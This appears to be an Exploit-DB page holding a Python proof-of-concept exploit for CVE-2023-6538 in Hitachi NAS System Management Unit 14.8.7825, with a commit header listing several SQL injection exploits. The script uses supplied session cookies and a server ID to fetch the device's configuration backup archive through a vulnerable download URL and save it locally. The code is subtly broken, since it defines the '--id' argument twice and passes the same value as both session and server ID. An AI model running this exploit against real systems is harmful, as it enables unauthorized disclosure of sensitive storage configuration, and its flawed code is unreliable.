a24ba3c94b
7 changes to exploits/shellcodes/ghdb HNAS SMU 14.8.7825 - Information Disclosure Blood Bank 1.0 - 'bid' SQLi CSZCMS v1.3.0 - SQL Injection (Authenticated) Employee Management System 1.0 - 'admin_id' SQLi Simple Task List 1.0 - 'status' SQLi Teacher Subject Allocation Management System 1.0 - 'searchdata' SQLi
92 lines
No EOL
2.9 KiB
Python
Executable file
92 lines
No EOL
2.9 KiB
Python
Executable file
# Exploit Title: Hitachi NAS (HNAS) System Management Unit (SMU) 14.8.7825 - Information Disclosure
|
|
# CVE: CVE-2023-6538
|
|
# Date: 2023-12-13
|
|
# Exploit Author: Arslan Masood (@arszilla)
|
|
# Vendor: https://www.hitachivantara.com/
|
|
# Version: < 14.8.7825.01
|
|
# Tested On: 13.9.7021.04
|
|
|
|
import argparse
|
|
from os import getcwd
|
|
|
|
import requests
|
|
|
|
parser = argparse.ArgumentParser(
|
|
description="CVE-2023-6538 PoC",
|
|
usage="./CVE-2023-6538.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
|
|
)
|
|
|
|
# Create --host argument:
|
|
parser.add_argument(
|
|
"--host",
|
|
required=True,
|
|
type=str,
|
|
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
|
|
)
|
|
|
|
# Create --id argument:
|
|
parser.add_argument(
|
|
"--id",
|
|
required=True,
|
|
type=str,
|
|
help="JSESSIONID cookie value"
|
|
)
|
|
|
|
# Create --sso argument:
|
|
parser.add_argument(
|
|
"--sso",
|
|
required=True,
|
|
type=str,
|
|
help="JSESSIONIDSSO cookie value"
|
|
)
|
|
|
|
# Create --id argument:
|
|
parser.add_argument(
|
|
"--id",
|
|
required=True,
|
|
type=str,
|
|
help="Server ID value"
|
|
)
|
|
|
|
args = parser.parse_args()
|
|
|
|
def download_file(hostname, jsessionid, jsessionidsso, serverid):
|
|
# Set the filename:
|
|
filename = "registry_data.tgz"
|
|
|
|
# Vulnerable SMU URL:
|
|
smu_url = f"https://{hostname}/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid={serverid}"
|
|
|
|
# GET request cookies
|
|
smu_cookies = {
|
|
"JSESSIONID": jsessionid,
|
|
"JSESSIONIDSSO": jsessionidsso
|
|
}
|
|
|
|
# GET request headers:
|
|
smu_headers = {
|
|
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
|
|
"Accept-Language": "en-US,en;q=0.5",
|
|
"Accept-Encoding": "gzip, deflate",
|
|
"Dnt": "1",
|
|
"Referer": f"https://{hostname}/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored",
|
|
"Upgrade-Insecure-Requests": "1",
|
|
"Sec-Fetch-Dest": "document",
|
|
"Sec-Fetch-Mode": "navigate",
|
|
"Sec-Fetch-Site": "same-origin",
|
|
"Sec-Fetch-User": "?1",
|
|
"Te": "trailers",
|
|
"Connection": "close"
|
|
}
|
|
|
|
# Send the request:
|
|
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
|
|
with open(filename, 'wb') as backup_archive:
|
|
# Write the zip file to the CWD:
|
|
backup_archive.write(file_download.content)
|
|
|
|
print(f"{filename} has been downloaded to {getcwd()}")
|
|
|
|
if __name__ == "__main__":
|
|
download_file(args.host, args.id, args.sso, args.id) |